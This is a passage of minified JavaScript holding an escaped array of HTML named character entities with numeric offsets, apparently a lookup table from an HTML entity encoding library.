,\"&div;\"],[0,\"&oslash;\"],[0,\"&ugrave;\"],[0,\"&uacute;\"],[0,\"&ucirc;\"],[0,\"&uuml;\"],[0,\"&yacute;\"],[0,\"&thorn;\"],[0,\"&yuml;\"],[0,\"&Amacr;\"],[0,\"&amacr;\"],[0,\"&Abreve;\"],[0,\"&abreve;\"],[0,\"&Aogon;\"],[0,\"&aogon;\"],[0,\"&Cacute;\"],[0,\"&cacute;\"],[0,\"&Ccirc;\"],[0,\"&ccirc;\"],[0,\"&Cdot;\"],[0,\"&cdot;\"],[0,\"&Ccaron;\"],[0,\"&ccaron;\"],[0,\"&Dcaron;\"],[0,\"&dcaron;\"],[0,\"&Dstrok;\"],[0,\"&dstrok;\"],[0,\"&Emacr;\"],[0,\"&emacr;\"],[2,\"&Edot;\"],[0,\"&edot;\"],[0,\"&Eogon;\"],[0,\"&eogon;\"],[0,\"&Ecaron;\"],[0,\"&ecaron;\"],[0,\"&Gcirc;\"],[0,\"&gcirc;\"],[0,\"&Gbreve;\"],[0,\"&gbreve;\"],[0,\"&Gdot;\"],[0,\"&gdot;\"],[0,\"&Gcedil;\"],[1,\"&Hcirc;\"],[0,\"&hcirc;\"],[0,\"&Hstrok;\"],[0,\"&hstrok;\"],[0,\"&Itilde;\"],[0,\"&itilde;\"],[0,\"&Imacr;\"],[0,\"&imacr;\"],[2,\"&Iogon;\"],[0,\"&iogon;\"],[0,\"&Idot;\"],[0,\"&imath;\"],[0,\"&IJlig;\"],[0,\"&ijlig;\"],[0,\"&Jcirc;\"],[0,\"&jcirc;\"],[0,\"&Kcedil;\"],[0,\"&kcedil;\"],[0,\"&kgreen;\"],[0,\"&Lacute;\"],[0,\"&lacute;\"],[0,\"&Lcedil;\"],[0,\"&lcedil;\"],[0,\"&Lcaron;\"],[0,\"&lcaron;\"],[0,\"&Lmidot;\"],[0,\"&lmidot;\"],[0,\"&Lstrok;\"],[0,\"&lstrok;\"],[0,\"&Nacute;\"],[0,\"&nacute;\"],[0,\"&Ncedil;\"],[0,\"&ncedil;\"],[0,\"&Ncaron;\"],[0,\"&ncaron;\"],[0,\"&napos;\"],[0,\"&ENG;\"],[0,\"&eng;\"],[0,\"&Omacr;\"],[0,\"&omacr;\"],[2,\"&Odblac;\"],[0,\"&odblac;\"],[0,\"&OElig;\"],[0,\"&oelig;\"],[0,\"&Racute;\"],[0,\"&racute;\"],[0,\"&Rcedil;\"],[0,\"&rcedil;\"],[0,\"&Rcaron;\"],[0,\"&rcaron;\"],[0,\"&Sacute;\"],[0,\"&sacute;\"],[0,\"&Scirc;\"],[0,\"&scirc;\"],[0,\"&Scedil;\"],[0,\"&scedil;\"],[0,\"&Scaron;\"],[0,\"&scaron;\"],[0,\"&Tcedil;\"],[0,\"&tcedil;\"],[0,\"&Tcaron;\"],[0,\"&tcaron;\"],[0,\"&Tstrok;\"],[0,\"&tstrok;\"],[0,\"&Utilde;\"],[0,\"&utilde;\"],[0,\"&Umacr;\"],[0,\"&umacr;\"],[0,\"&Ubreve;\"],[0,\"&ubreve;\"],[0,\"&Uring;\"],[0,\"&uring;\"],[0,\"&Udblac;\"],[0,\"&udblac;\"],[0,\"&Uogon;\"],[0,\"&uogon;\"],[0,\"&Wcirc;\"],[0,\"&wcirc;\"],[0,\"&Ycirc;\"],[0,\"&ycirc;\"],[0,\"&Yuml;\"],[0,\"&Zacute;\"],[0,\"&zacute;\"],[0,\"&Zdot;\"],[0,\"&zdot;\"],[0,\"&Zcaron;\"],[0,\"&zcaron;\"],[19,\"&fnof;\"],[34,\"&imped;\"],[63,\"&gacute;\"],[65,\"&jmath;\"],[142,\"&circ;\"],[0,\"&caron;\"],[16,\"&breve;\"],[0,\"&DiacriticalDot;\"],[0,\"&ring;\"],[0,\"&ogon;\"],[0,\"&DiacriticalTilde;\"],[0,\"&dblac;\"],[51,\"&DownBreve;\"],[127,\"&Alpha;\"],[0,\"&Beta;\"],[0,\"&Gamma;\"],[0,\"&Delta;\"],[0,\"&Epsilon;\"],[0,\"&Zeta;\"],[0,\"&Eta;\"],[0,\"&Theta;\"],[0,\"&Iota;\"],[0,\"&Kappa;\"],[0,\"&Lambda;\"],[0,\"&Mu;\"],[0,\"&Nu;\"],[0,\"&Xi;\"],[0,\"&Omicron;\"],[0,\"&Pi;\"],[0,\"&Rho;\"],[1,\"&Sigma;\"],[0,\"&Tau;\"],[0,\"&Upsilon;\"],[0,\"&Phi;\"],[0,\"&Chi;\"],[0,\"&Psi;\"],[0,\"&ohm;\"],[7,\"&alpha;\"],[0,\"&beta;\"],[0,\"&gamma;\"],[0,\"&delta;\"],[0,\"&epsi;\"],[0,\"&zeta;\"],[0,\"&eta;\"],[0,\"&theta;\"],[0,\"&iota;\"],[0,\"&kappa;\"],[0,\"&lambda;\"],[0,\"&mu;\"],[0,\"&nu;\"],[0,\"&xi;\"],[0,\"&omicron;\"],[0,\"&pi;\"],[0,\"&rho;\"],[0,\"&sigmaf;\"],[0,\"&sigma;\"],[0,\"&tau;\"],[0,\"&upsi;\"],[0,\"&phi;\"],[0,\"&chi;\"],[0,\"&psi;\"],[0,\"&omega;\"],[7,\"&thetasym;\"],[0,\"&Upsi;\"],[2,\"&phiv;\"],[0,\"&piv;\"],[5,\"&Gammad;\"],[0,\"&digamma;\"],[18,\"&kappav;\"],[0,\"&rhov;\"],[3,\"&epsiv;\"],[0,\"&backepsilon;\"],[10,\"&IOcy;\"],[0,\"&DJcy;\"],[0,\"&GJcy;\"],[0,\"&Jukcy;\"],[0,\"&DScy;\"],[0,\"&Iukcy;\"],[0,\"&YIcy;\"],[0,\"&Jsercy;\"],[0,\"&LJcy;\"],[0,\"&NJcy;\"],[0,\"&TSHcy;\"],[0,\"&KJcy;\"],[1,\"&Ubrcy;\"],[0,\"&DZcy;\"],[0,\"&Acy;\"],[0,\"&Bcy;\"],[0,\"&Vcy;\"],[0,\"&Gcy;\"],[0,\"&Dcy;\"],[0,\"&IEcy;\"],[0,\"&ZHcy;\"],[0,\"&Zcy;\"],[0,\"&Icy;\"],[0,\"&Jcy;\"],[0,\"&Kcy;\"],[0,\"&Lcy;\"],[0,\"&Mcy;\"],[0,\"&Ncy;\"],[0,\"&Ocy;\"],[0,\"&Pcy;\"],[0,\"&Rcy;\"],[0,\"&Scy;\"],[0,\"&Tcy;\"],[0,\"&Ucy;\"],[0,\"&Fcy;\"],[0,\"&KHcy;\"],[0,\"&TScy;\"],[0,\"&CHcy;\"],[0,\"&SHcy;\"],[0,\"&SHCHcy;\"],[0,\"&HARDcy;\"],[0,\"&Ycy;\"],[0,\"&SOFTcy;\"],[0,\"&Ecy;\"],[0,\"&YUcy;\"],[0,\"&YAcy;\"],[0,\"&acy;\"],[0,\"&bcy;\"],[0,\"&vcy;\"],[0,\"&gcy;\"],[0,\"&dcy;\"],[0,\"&iecy;\"],[0,\"&zhcy;\"],[0,\"&zcy;\"],[0,\"&icy;\"],[0,\"&jcy;\"],[0,\"&kcy;\"],[0,\"&lcy;\"],[0,\"&mcy;\"],[0,\"&ncy;\"],[0,\"&ocy;\"],[0,\"&pcy;\"],[0,\"&rcy;\"],[0,\"&scy;\"],[0,\"&tcy;\"],[0,\"&ucy;\"],[0,\"&fcy;\"],[0,\"&khcy;\"],[0,\"&tscy;\"],[0,\"&chcy;\"],[0,\"&shcy;\"],[0,\"&shchcy;\"],[0,\"&hardcy;\"],[0,\"&ycy;\"],[0,\"&softcy;\"],[0,\"&ecy;\"],[0,\"&yucy;\"],[0,\"&yacy;\"],[1,\"&iocy;\"],[0,\"&djcy;\"],[0,\"&gjcy;\"],[0,\"&jukcy;\"],[0,\"&dscy;\"],[0,\"&iukcy;\"],[0,\"&yicy;\"],[0,\"&jsercy;\"],[0,\"&ljcy;\"],[0,\"&njcy;\"],[0,\"&tshcy;\"],[0,\"&kjcy;\"],[1,\"&ubrcy;\"],[0,\"&dzcy;\"],[7074,\"&ensp;\"],[0,\"&emsp;\"],[0,\"&emsp13;\"],[0,\"&emsp14;\"],[1,\"&numsp;\"],[0,\"&puncsp;\"],[0,\"&ThinSpace;\"],[0,\"&hairsp;\"],[0,\"&NegativeMediumSpace;\"],[0,\"&zwnj;\"],[0,\"&zwj;\"],[0,\"&lrm;\"],[0,\"&rlm;\"],[0,\"&dash;\"],[2,\"&ndash;\"],[0,\"&mdash;\"],[0,\"&horbar;\"],[0,\"&Verbar;\"],[1,\"&lsquo;\"],[0,\"&CloseCurlyQuote;\"],[0,\"&lsquor;\"],[1,\"&ldquo;\"],[0,\"&CloseCurlyDoubleQuote;\"],[0,\"&bdquo;\"],[1,\"&dagger;\"],[0,\"&Dagger;\"],[0,\"&bull;\"],[2,\"&nldr;\"],[0,\"&hellip;\"],[9,\"&permil;\"],[0,\"&pertenk;\"],[0,\"&prime;\"],[0,\"&Prime;\"],[0,\"&tprime;\"],[0,\"&backprime;\"],[3,\"&lsaquo;\"],[0,\"&rsaquo;\"],[3,\"&oline;\"],[2,\"&caret;\"],[1,\"&hybull;\"],[0,\"&frasl;\"],[10,\"&bsemi;\"],[7,\"&qprime;\"],[7,{v:\"&MediumSpace;\",n:8202,o:\"&ThickSpace;\"}],[0,\"&NoBreak;\"],[0,\"&af;\"],[0,\"&InvisibleTimes;\"],[0,\"&ic;\"],[72,\"&euro;\"],[46,\"&tdot;\"],[0,\"&DotDot;\"],[37,\"&complexes;\"],[2,\"&incare;\"],[4,\"&gscr;\"],[0,\"&hamilt;\"],[0,\"&Hfr;\"],[0,\"&Hopf;\"],[0,\"&planckh;\"],[0,\"&hbar;\"],[0,\"&imagline;\"],[0,\"&Ifr;\"],[0,\"&lagran;\"],[0,\"&ell;\"],[1,\"&naturals;\"],[0,\"&numero;\"],[0,\"&copysr;\"],[0,\"&weierp;\"],[0,\"&Popf;\"],[0,\"&Qopf;\"],[0,\"&realine;\"],[0,\"&real;\"],[0,\"&reals;\"],[0,\"&rx;\"],[3,\"&trade;\"],[1,\"&integers;\"],[2,\"&mho;\"],[0,\"&zeetrf;\"],[0,\"&iiota;\"],[2,\"&bernou;\"],[0,\"&Cayleys;\"],[1,\"&escr;\"],[0,\"&Escr;\"],[0,\"&Fouriertrf;\"],[1,\"&Mellintrf;\"],[0,\"&order;\"],[0,\"&alefsym;\"],[0,\"&beth;\"],[0,\"&gimel;\"],[0,\"&daleth;\"],[12,\"&CapitalDifferentialD;\"],[0,\"&dd;\"],[0,\"&ee;\"],[0,\"&ii;\"],[10,\"&frac13;\"],[0,\"&frac23;\"],[0,\"&frac15;\"],[0,\"&frac25;\"],[0,\"&frac35;\"],[0,\"&frac45;\"],[0,\"&frac16;\"],[0,\"&frac56;\"],[0,\"&frac18;\"],[0,\"&frac38;\"],[0,\"&frac58;\"],[0,\"&frac78;\"],[49,\"&larr;\"],[0,\"&ShortUpArrow;\"],[0,\"&rarr;\"],[0,\"&darr;\"],[0,\"&harr;\"],[0,\"&updownarrow;\"],[0,\"&nwarr;\"],[0,\"&nearr;\"],[0,\"&LowerRightArrow;\"],[0,\"&LowerLeftArrow;\"],[0,\"&nlarr;\"],[0,\"&nrarr;\"],[1,{v:\"&rarrw;\",n:824,o:\"&nrarrw;\"}],[0,\"&Larr;\"],[0,\"&Uarr;\"],[0,\"&Rarr;\"],[0,\"&Darr;\"],[0,\"&larrtl;\"],[0,\"&rarrtl;\"],[0,\"&LeftTeeArrow;\"],[0,\"&mapstoup;\"],[0,\"&map;\"],[0,\"&DownTeeArrow;\"],[1,\"&hookleftarrow;\"],[0,\"&hookrightarrow;\"],[0,\"&larrlp;\"],[0,\"&looparrowright;\"],[0,\"&harrw;\"],[0,\"&nharr;\"],[1,\"&lsh;\"],[0,\"&rsh;\"],[0,\"&ldsh;\"],[0,\"&rdsh;\"],[1,\"&crarr;\"],[0,\"&cularr;\"],[0,\"&curarr;\"],[2,\"&circlearrowleft;\"],[0,\"&circlearrowright;\"],[0,\"&leftharpoonup;\"],[0,\"&DownLeftVector;\"],[0,\"&RightUpVector;\"],[0,\"&LeftUpVector;\"],[0,\"&rharu;\"],[0,\"&DownRightVector;\"],[0,\"&dharr;\"],[0,\"&dharl;\"],[0,\"&RightArrowLeftArrow;\"],[0,\"&udarr;\"],[0,\"&LeftArrowRightArrow;\"],[0,\"&leftleftarrows;\"],[0,\"&upuparrows;\"],[0,\"&rightrightarrows;\"],[0,\"&ddarr;\"],[0,\"&leftrightharpoons;\"],[0,\"&Equilibrium;\"],[0,\"&nlArr;\"],[0,\"&nhArr;\"],[0,\"&nrArr;\"],[0,\"&DoubleLeftArrow;\"],[0,\"&DoubleUpArrow;\"],[0,\"&DoubleRightArrow;\"],[0,\"&dArr;\"],[0,\"&DoubleLeftRightArrow;\"],[0,\"&DoubleUpDownArrow;\"],[0,\"&nwArr;\"],[0,\"&neArr;\"],[0,\"&seArr;\"],[0,\"&swArr;\"],[0,\"&lAarr;\"],[0,\"&rAarr;\"],[1,\"&zigrarr;\"],[6,\"&larrb;\"],[0,\"&rarrb;\"],[15,\"&DownArrowUpArrow;\"],[7,\"&loarr;\"],[0,\"&roarr;\"],[0,\"&hoarr;\"],[0,\"&forall;\"],[0,\"&comp;\"],[0,{v:\"&part;\",n:824,o:\"&npart;\"}],[0,\"&exist;\"],[0,\"&nexist;\"],[0,\"&empty;\"],[1,\"&Del;\"],[0,\"&Element;\"],[0,\"&NotElement;\"],[1,\"&ni;\"],[0,\"&notni;\"],[2,\"&prod;\"],[0,\"&coprod;\"],[0,\"&sum;\"],[0,\"&minus;\"],[0,\"&MinusPlus;\"],[0,\"&dotplus;\"],[1,\"&Backslash;\"],[0,\"&lowast;\"],[0,\"&compfn;\"],[1,\"&radic;\"],[2,\"&prop;\"],[0,\"&infin;\"],[0,\"&angrt;\"],[0,{v:\"&ang;\",n:8402,o:\"&nang;\"}],[0,\"&angmsd;\"],[0,\"&angsph;\"],[0,\"&mid;\"],[0,\"&nmid;\"],[0,\"&DoubleVerticalBar;\"],[0,\"&NotDoubleVerticalBar;\"],[0,\"&and;\"],[0,\"&or;\"],[0,{v:\"&cap;\",n:65024,o:\"&caps;\"}],[0,{v:\"&cup;\",n:65024,o:\"&cups;\"}],[0,\"&int;\"],[0,\"&Int;\"],[0,\"&iiint;\"],[0,\"&conint;\"],[0,\"&Conint;\"],[0,\"&Cconint;\"],[0,\"&cwint;\"],[0,\"&ClockwiseContourIntegral;\"],[0,\"&awconint;\"],[0,\"&there4;\"],[0,\"&becaus;\"],[0,\"&ratio;\"],[0,\"&Colon;\"],[0,\"&dotminus;\"],[1,\"&mDDot;\"],[0,\"&homtht;\"],[0,{v:\"&sim;\",n:8402,o:\"&nvsim;\"}],[0,{v:\"&backsim;\",n:817,o:\"&race;\"}],[0,{v:\"&ac;\",n:819,o:\"&acE;\"}],[0,\"&acd;\"],[0,\"&VerticalTilde;\"],[0,\"&NotTilde;\"],[0,{v:\"&eqsim;\",n:824,o:\"&nesim;\"}],[0,\"&sime;\"],[0,\"&NotTildeEqual;\"],[0,\"&cong;\"],[0,\"&simne;\"],[0,\"&ncong;\"],[0,\"&ap;\"],[0,\"&nap;\"],[0,\"&ape;\"],[0,{v:\"&apid;\",n:824,o:\"&napid;\"}],[0,\"&backcong;\"],[0,{v:\"&asympeq;\",n:8402,o:\"&nvap;\"}],[0,{v:\"&bump;\",n:824,o:\"&nbump;\"}],[0,{v:\"&bumpe;\",n:824,o:\"&nbumpe;\"}],[0,{v:\"&doteq;\",n:824,o:\"&nedot;\"}],[0,\"&doteqdot;\"],[0,\"&efDot;\"],[0,\"&erDot;\"],[0,\"&Assign;\"],[0,\"&ecolon;\"],[0,\"&ecir;\"],[0,\"&circeq;\"],[1,\"&wedgeq;\"],[0,\"&veeeq;\"],[1,\"&triangleq;\"],[2,\"&equest;\"],[0,\"&ne;\"],[0,{v:\"&Congruent;\",n:8421,o:\"&bnequiv;\"}],[0,\"&nequiv;\"],[1,{v:\"&le;\",n:8402,o:\"&nvle;\"}],[0,{v:\"&ge;\",n:8402,o:\"&nvge;\"}],[0,{v:\"&lE;\",n:824,o:\"&nlE;\"}],[0,{v:\"&gE;\",n:824,o:\"&ngE;\"}],[0,{v:\"&lnE;\",n:65024,o:\"&lvertneqq;\"}],[0,{v:\"&gnE;\",n:65024,o:\"&gvertneqq;\"}],[0,{v:\"&ll;\",n:new Map(r([[824,\"&nLtv;\"],[7577,\"&nLt;\"]]))}],[0,{v:\"&gg;\",n:new Map(r([[824,\"&nGtv;\"],[7577,\"&nGt;\"]]))}],[0,\"&between;\"],[0,\"&NotCupCap;\"],[0,\"&nless;\"],[0,\"&ngt;\"],[0,\"&nle;\"],[0,\"&nge;\"],[0,\"&lesssim;\"],[0,\"&GreaterTilde;\"],[0,\"&nlsim;\"],[0,\"&ngsim;\"],[0,\"&LessGreater;\"],[0,\"&gl;\"],[0,\"&NotLessGreater;\"],[0,\"&NotGreaterLess;\"],[0,\"&pr;\"],[0,\"&sc;\"],[0,\"&prcue;\"],[0,\"&sccue;\"],[0,\"&PrecedesTilde;\"],[0,{v:\"&scsim;\",n:824,o:\"&NotSucceedsTilde;\"}],[0,\"&NotPrecedes;\"],[0,\"&NotSucceeds;\"],[0,{v:\"&sub;\",n:8402,o:\"&NotSubset;\"}],[0,{v:\"&sup;\",n:8402,o:\"&NotSuperset;\"}],[0,\"&nsub;\"],[0,\"&nsup;\"],[0,\"&sube;\"],[0,\"&supe;\"],[0,\"&NotSubsetEqual;\"],[0,\"&NotSupersetEqual;\"],[0,{v:\"&subne;\",n:65024,o:\"&varsubsetneq;\"}],[0,{v:\"&supne;\",n:65024,o:\"&varsupsetneq;\"}],[1,\"&cupdot;\"],[0,\"&UnionPlus;\"],[0,{v:\"&sqsub;\",n:824,o:\"&NotSquareSubset;\"}],[0,{v:\"&sqsup;\",n:824,o:\"&NotSquareSuperset;\"}],[0,\"&sqsube;\"],[0,\"&sqsupe;\"],[0,{v:\"&sqcap;\",n:65024,o:\"&sqcaps;\"}],[0,{v:\"&sqcup;\",n:65024,o:\"&sqcups;\"}],[0,\"&CirclePlus;\"],[0,\"&CircleMinus;\"],[0,\"&CircleTimes;\"],[0,\"&osol;\"],[0,\"&CircleDot;\"],[0,\"&circledcirc;\"],[0,\"&circledast;\"],[1,\"&circleddash;\"],[0,\"&boxplus;\"],[0,\"&boxminus;\"],[0,\"&boxtimes;\"],[0,\"&dotsquare;\"],[0,\"&RightTee;\"],[0,\"&dashv;\"],[0,\"&DownTee;\"],[0,\"&bot;\"],[1,\"&models;\"],[0,\"&DoubleRightTee;\"],[0,\"&Vdash;\"],[0,\"&Vvdash;\"],[0,\"&VDash;\"],[0,\"&nvdash;\"],[0,\"&nvDash;\"],[0,\"&nVdash;\"],[0,\"&nVDash;\"],[0,\"&prurel;\"],[1,\"&LeftTriangle;\"],[0,\"&RightTriangle;\"],[0,{v:\"&LeftTriangleEqual;\",n:8402,o:\"&nvltrie;\"}],[0,{v:\"&RightTriangleEqual;\",n:8402,o:\"&nvrtrie;\"}],[0,\"&origof;\"],[0,\"&imof;\"],[0,\"&multimap;\"],[0,\"&hercon;\"],[0,\"&intcal;\"],[0,\"&veebar;\"],[1,\"&barvee;\"],[0,\"&angrtvb;\"],[0,\"&lrtri;\"],[0,\"&bigwedge;\"],[0,\"&bigvee;\"],[0,\"&bigcap;\"],[0,\"&bigcup;\"],[0,\"&diam;\"],[0,\"&sdot;\"],[0,\"&sstarf;\"],[0,\"&divideontimes;\"],[0,\"&bowtie;\"],[0,\"&ltimes;\"],[0,\"&rtimes;\"],[0,\"&leftthreetimes;\"],[0,\"&rightthreetimes;\"],[0,\"&backsimeq;\"],[0,\"&curlyvee;\"],[0,\"&curlywedge;\"],[0,\"&Sub;\"],[0,\"&Sup;\"],[0,\"&Cap;\"],[0,\"&Cup;\"],[0,\"&fork;\"],[0,\"&epar;\"],[0,\"&lessdot;\"],[0,\"&gtdot;\"],[0,{v:\"&Ll;\",n:824,o:\"&nLl;\"}],[0,{v:\"&Gg;\",n:824,o:\"&nGg;\"}],[0,{v:\"&leg;\",n:65024,o:\"&lesg;\"}],[0,{v:\"&gel;\",n:65024,o:\"&gesl;\"}],[2,\"&cuepr;\"],[0,\"&cuesc;\"],[0,\"&NotPrecedesSlantEqual;\"],[0,\"&NotSucceedsSlantEqual;\"],[0,\"&NotSquareSubsetEqual;\"],[0,\"&NotSquareSupersetEqual;\"],[2,\"&lnsim;\"],[0,\"&gnsim;\"],[0,\"&precnsim;\"],[0,\"&scnsim;\"],[0,\"&nltri;\"],[0,\"&NotRightTriangle;\"],[0,\"&nltrie;\"],[0,\"&NotRightTriangleEqual;\"],[0,\"&vellip;\"],[0,\"&ctdot;\"],[0,\"&utdot;\"],[0,\"&dtdot;\"],[0,\"&disin;\"],[0,\"&isinsv;\"],[0,\"&isins;\"],[0,{v:\"&isindot;\",n:824,o:\"&notindot;\"}],[0,\"&notinvc;\"],[0,\"&notinvb;\"],[1,{v:\"&isinE;\",n:824,o:\"&notinE;\"}],[0,\"&nisd;\"],[0,\"&xnis;\"],[0,\"&nis;\"],[0,\"&notnivc;\"],[0,\"&notnivb;\"],[6,\"&barwed;\"],[0,\"&Barwed;\"],[1,\"&lceil;\"],[0,\"&rceil;\"],[0,\"&LeftFloor;\"],[0,\"&rfloor;\"],[0,\"&drcrop;\"],[0,\"&dlcrop;\"],[0,\"&urcrop;\"],[0,\"&ulcrop;\"],[0,\"&bnot;\"],[1,\"&profline;\"],[0,\"&profsurf;\"],[1,\"&telrec;\"],[0,\"&target;\"],[5,\"&ulcorn;\"],[0,\"&urcorn;\"],[0,\"&dlcorn;\"],[0,\"&drcorn;\"],[2,\"&frown;\"],[0,\"&smile;\"],[9,\"&cylcty;\"],[0,\"&profalar;\"],[7,\"&topbot;\"],[6,\"&ovbar;\"],[1,\"&solbar;\"],[60,\"&angzarr;\"],[51,\"&lmoustache;\"],[0,\"&rmoustache;\"],[2,\"&OverBracket;\"],[0,\"&bbrk;\"],[0,\"&bbrktbrk;\"],[37,\"&OverParenthesis;\"],[0,\"&UnderParenthesis;\"],[0,\"&OverBrace;\"],[0,\"&UnderBrace;\"],[2,\"&trpezium;\"],[4,\"&elinters;\"],[59,\"&blank;\"],[164,\"&circledS;\"],[55,\"&boxh;\"],[1,\"&boxv;\"],[9,\"&boxdr;\"],[3,\"&boxdl;\"],[3,\"&boxur;\"],[3,\"&boxul;\"],[3,\"&boxvr;\"],[7,\"&boxvl;\"],[7,\"&boxhd;\"],[7,\"&boxhu;\"],[7,\"&boxvh;\"],[19,\"&boxH;\"],[0,\"&boxV;\"],[0,\"&boxdR;\"],[0,\"&boxDr;\"],[0,\"&boxDR;\"],[0,\"&boxdL;\"],[0,\"&boxDl;\"],[0,\"&boxDL;\"],[0,\"&boxuR;\"],[0,\"&boxUr;\"],[0,\"&boxUR;\"],[0,\"&boxuL;\"],[0,\"&boxUl;\"],[0,\"&boxUL;\"],[0,\"&boxvR;\"],[0,\"&boxVr;\"],[0,\"&boxVR;\"],[0,\"&boxvL;\"],[0,\"&boxVl;\"],[0,\"&boxVL;\"],[0,\"&boxHd;\"],[0,\"&boxhD;\"],[0,\"&boxHD;\"],[0,\"&boxHu;\"],[0,\"&boxhU;\"],[0,\"&boxHU;\"],[0,\"&boxvH;\"],[0,\"&boxVh;\"],[0,\"&boxVH;\"],[19,\"&uhblk;\"],[3,\"&lhblk;\"],[3,\"&block;\"],[8,\"&blk14;\"],[0,\"&blk12;\"],[0,\"&blk34;\"],[13,\"&square;\"],[8,\"&blacksquare;\"],[0,\"&EmptyVerySmallSquare;\"],[1,\"&rect;\"],[0,\"&marker;\"],[2,\"&fltns;\"],[1,\"&bigtriangleup;\"],[0,\"&blacktriangle;\"],[0,\"&triangle;\"],[2,\"&blacktriangleright;\"],[0,\"&rtri;\"],[3,\"&bigtriangledown;\"],[0,\"&blacktriangledown;\"],[0,\"&dtri;\"],[2,\"&blacktriangleleft;\"],[0,\"&ltri;\"],[6,\"&loz;\"],[0,\"&cir;\"],[32,\"&tridot;\"],[2,\"&bigcirc;\"],[8,\"&ultri;\"],[0,\"&urtri;\"],[0,\"&lltri;\"],[0,\"&EmptySmallSquare;\"],[0,\"&FilledSmallSquare;\"],[8,\"&bigstar;\"],[0,\"&star;\"],[7,\"&phone;\"],[49,\"&female;\"],[1,\"&male;\"],[29,\"&spades;\"],[2,\"&clubs;\"],[1,\"&hearts;\"],[0,\"&diamondsuit;\"],[3,\"&sung;\"],[2,\"&flat;\"],[0,\"&natural;\"],[0,\"&sharp;\"],[163,\"&check;\"],[3,\"&cross;\"],[8,\"&malt;\"],[21,\"&sext;\"],[33,\"&VerticalSeparator;\"],[25,\"&lbbrk;\"],[0,\"&rbbrk;\"],[84,\"&bsolhsub;\"],[0,\"&suphsol;\"],[28,\"&LeftDoubleBracket;\"],[0,\"&RightDoubleBracket;\"],[0,\"&lang;\"],[0,\"&rang;\"],[0,\"&Lang;\"],[0,\"&Rang;\"],[0,\"&loang;\"],[0,\"&roang;\"],[7,\"&longleftarrow;\"],[0,\"&longrightarrow;\"],[0,\"&longleftrightarrow;\"],[0,\"&DoubleLongLeftArrow;\"],[0,\"&DoubleLongRightArrow;\"],[0,\"&DoubleLongLeftRightArrow;\"],[1,\"&longmapsto;\"],[2,\"&dzigrarr;\"],[258,\"&nvlArr;\"],[0,\"&nvrArr;\"],[0,\"&nvHarr;\"],[0,\"&Map;\"],[6,\"&lbarr;\"],[0,\"&bkarow;\"],[0,\"&lBarr;\"],[0,\"&dbkarow;\"],[0,\"&drbkarow;\"],[0,\"&DDotrahd;\"],[0,\"&UpArrowBar;\"],[0,\"&DownArrowBar;\"],[2,\"&Rarrtl;\"],[2,\"&latail;\"],[0,\"&ratail;\"],[0,\"&lAtail;\"],[0,\"&rAtail;\"],[0,\"&larrfs;\"],[0,\"&rarrfs;\"],[0,\"&larrbfs;\"],[0,\"&rarrbfs;\"],[2,\"&nwarhk;\"],[0,\"&nearhk;\"],[0,\"&hksearow;\"],[0,\"&hkswarow;\"],[0,\"&nwnear;\"],[0,\"&nesear;\"],[0,\"&seswar;\"],[0,\"&swnwar;\"],[8,{v:\"&rarrc;\",n:824,o:\"&nrarrc;\"}],[1,\"&cudarrr;\"],[0,\"&ldca;\"],[0,\"&rdca;\"],[0,\"&cudarrl;\"],[0,\"&larrpl;\"],[2,\"&curarrm;\"],[0,\"&cularrp;\"],[7,\"&rarrpl;\"],[2,\"&harrcir;\"],[0,\"&Uarrocir;\"],[0,\"&lurdshar;\"],[0,\"&ldrushar;\"],[2,\"&LeftRightVector;\"],[0,\"&RightUpDownVector;\"],[0,\"&DownLeftRightVector;\"],[0,\"&LeftUpDownVector;\"],[0,\"&LeftVectorBar;\"],[0,\"&RightVectorBar;\"],[0,\"&RightUpVectorBar;\"],[0,\"&RightDownVectorBar;\"],[0,\"&DownLeftVectorBar;\"],[0,\"&DownRightVectorBar;\"],[0,\"&LeftUpVectorBar;\"],[0,\"&LeftDownVectorBar;\"],[0,\"&LeftTeeVector;\"],[0,\"&RightTeeVector;\"],[0,\"&RightUpTeeVector;\"],[0,\"&RightDownTeeVector;\"],[0,\"&DownLeftTeeVector;\"],[0,\"&DownRightTeeVector;\"],[0,\"&LeftUpTeeVector;\"],[0,\"&LeftDownTeeVector;\"],[0,\"&lHar;\"],[0,\"&uHar;\"],[0,\"&rHar;\"],[0,\"&dHar;\"],[0,\"&luruhar;\"],[0,\"&ldrdhar;\"],[0,\"&ruluhar;\"],[0,\"&rdldhar;\"],[0,\"&lharul;\"],[0,\"&llhard;\"],[0,\"&rharul;\"],[0,\"&lrhard;\"],[0,\"&udhar;\"],[0,\"&duhar;\"],[0,\"&RoundImplies;\"],[0,\"&erarr;\"],[0,\"&simrarr;\"],[0,\"&larrsim;\"],[0,\"&rarrsim;\"],[0,\"&rarrap;\"],[0,\"&ltlarr;\"],[1,\"&gtrarr;\"],[0,\"&subrarr;\"],[1,\"&suplarr;\"],[0,\"&lfisht;\"],[0,\"&rfisht;\"],[0,\"&ufisht;\"],[0,\"&dfisht;\"],[5,\"&lopar;\"],[0,\"&ropar;\"],[4,\"&lbrke;\"],[0,\"&rbrke;\"],[0,\"&lbrkslu;\"],[0,\"&rbrksld;\"],[0,\"&lbrksld;\"],[0,\"&rbrkslu;\"],[0,\"&langd;\"],[0,\"&rangd;\"],[0,\"&lparlt;\"],[0,\"&rpargt;\"],[0,\"&gtlPar;\"],[0,\"&ltrPar;\"],[3,\"&vzigzag;\"],[1,\"&vangrt;\"],[0,\"&angrtvbd;\"],[6,\"&ange;\"],[0,\"&range;\"],[0,\"&dwangle;\"],[0,\"&uwangle;\"],[0,\"&angmsdaa;\"],[0,\"&angmsdab;\"],[0,\"&angmsdac;\"],[0,\"&angmsdad;\"],[0,\"&angmsdae;\"],[0,\"&angmsdaf;\"],[0,\"&angmsdag;\"],[0,\"&angmsdah;\"],[0,\"&bemptyv;\"],[0,\"&demptyv;\"],[0,\"&cemptyv;\"],[0,\"&raemptyv;\"],[0,\"&laemptyv;\"],[0,\"&ohbar;\"],[0,\"&omid;\"],[0,\"&opar;\"],[1,\"&operp;\"],[1,\"&olcross;\"],[0,\"&odsold;\"],[1,\"&olcir;\"],[0,\"&ofcir;\"],[0,\"&olt;\"],[0,\"&ogt;\"],[0,\"&cirscir;\"],[0,\"&cirE;\"],[0,\"&solb;\"],[0,\"&bsolb;\"],[3,\"&boxbox;\"],[3,\"&trisb;\"],[0,\"&rtriltri;\"],[0,{v:\"&LeftTriangleBar;\",n:824,o:\"&NotLeftTriangleBar;\"}],[0,{v:\"&RightTriangleBar;\",n:824,o:\"&NotRightTriangleBar;\"}],[11,\"&iinfin;\"],[0,\"&infintie;\"],[0,\"&nvinfin;\"],[4